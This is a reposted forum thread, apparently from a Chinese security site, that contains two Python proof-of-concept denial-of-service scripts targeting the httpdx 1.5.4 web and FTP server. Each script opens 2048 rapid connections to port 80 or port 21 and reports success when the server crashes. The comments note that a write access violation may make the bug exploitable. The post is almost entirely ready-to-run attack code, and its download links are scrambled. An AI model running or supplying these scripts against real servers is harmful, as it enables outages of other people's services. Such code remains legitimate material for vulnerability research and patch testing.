首页
社区
课程
招聘
[转帖]Httpdx 1.5.4 multiple DoS (http-ftp) PoC
发表于: 2010-8-19 06:16 4015

[转帖]Httpdx 1.5.4 multiple DoS (http-ftp) PoC

2010-8-19 06:16
4015
#!/usr/bin/env python  

   

###########################################################################  

#  

# Title:    httpdx v1.5.4 Remote HTTP Server DoS (0day)  

# By:       Dr_IDE  

# Tested:   XPSP3  

# Download: 4b3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2@1N6s2m8V1P5q4)9J5k6i4y4G2N6i4u0U0k6h3k6G2M7X3N6W2i4K6u0W2L8X3g2@1i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.

# Note:     Server will totally crash if only running the EXE  

# Note:     Get a "ffs what happened?" message if running via BAT  

#  

############################################################################  

#  

# Debugging Notes: This may not be exploitable as it dumps on a read operation.   

# Upon crash throws: Access violation when reading [00001238]  

#  

############################################################################  

   

import socket, sys  

   

payload = ("GET / HTTP/1.1\r\n\r\n");  

x=1;  

   

try:  

    while (x < 2048):  

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

        print ("
  • Connecting to httpdx server.");  

  •         s.connect((sys.argv[1], 80));  

            print ("\n
  • Sending command.\n");  

  •         s.send(payload);  

            s.close();  

            x = x+1;  

       

    except:  

        print ("
  • Success! We crashed the server in %d attempts." % x);  

  •     print ("[i] [pocoftheday.blogspot.com]");  

       

       

    =====================================================================================

       

    #!/usr/bin/env python  

       

    ###########################################################################  

    #  

    # Title:    httpdx v1.5.4 Remote FTP Server DoS (0day)  

    # By:       Dr_IDE  

    # Tested:   XPSP3  

    # Download: 2feK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2@1N6s2m8V1P5q4)9J5k6i4y4G2N6i4u0U0k6h3k6G2M7X3N6W2i4K6u0W2L8X3g2@1i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.

    # Note:     Server will totally crash if only running the EXE  

    # Note:     Get a "ffs what happened?" message if running via BAT  

    #  

    ############################################################################  

    #  

    # Debugging Notes: This may be exploitable as it dumps on a write operation.   

    # Upon crash throws: Access violation when writing to [00230000]  

    #  

    ############################################################################  

       

    import socket, sys  

       

    payload = ("USER anonymous\r\n\r\n");  

    x=1;  

       

    try:  

        while (x < 2048):  

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

            print ("
  • Connecting to httpdx server.");  

  •         s.connect((sys.argv[1], 21));  

            print ("\n
  • Sending command.\n");  

  •         s.send(payload);  

            s.close();  

            x = x+1;  

       

    except:  

        print ("
  • Success! We crashed the server in %d attempts." % x);  

  •     print ("[i] [pocoftheday.blogspot.com]");

    [培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!

    收藏
    免费 0
    支持
    分享
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回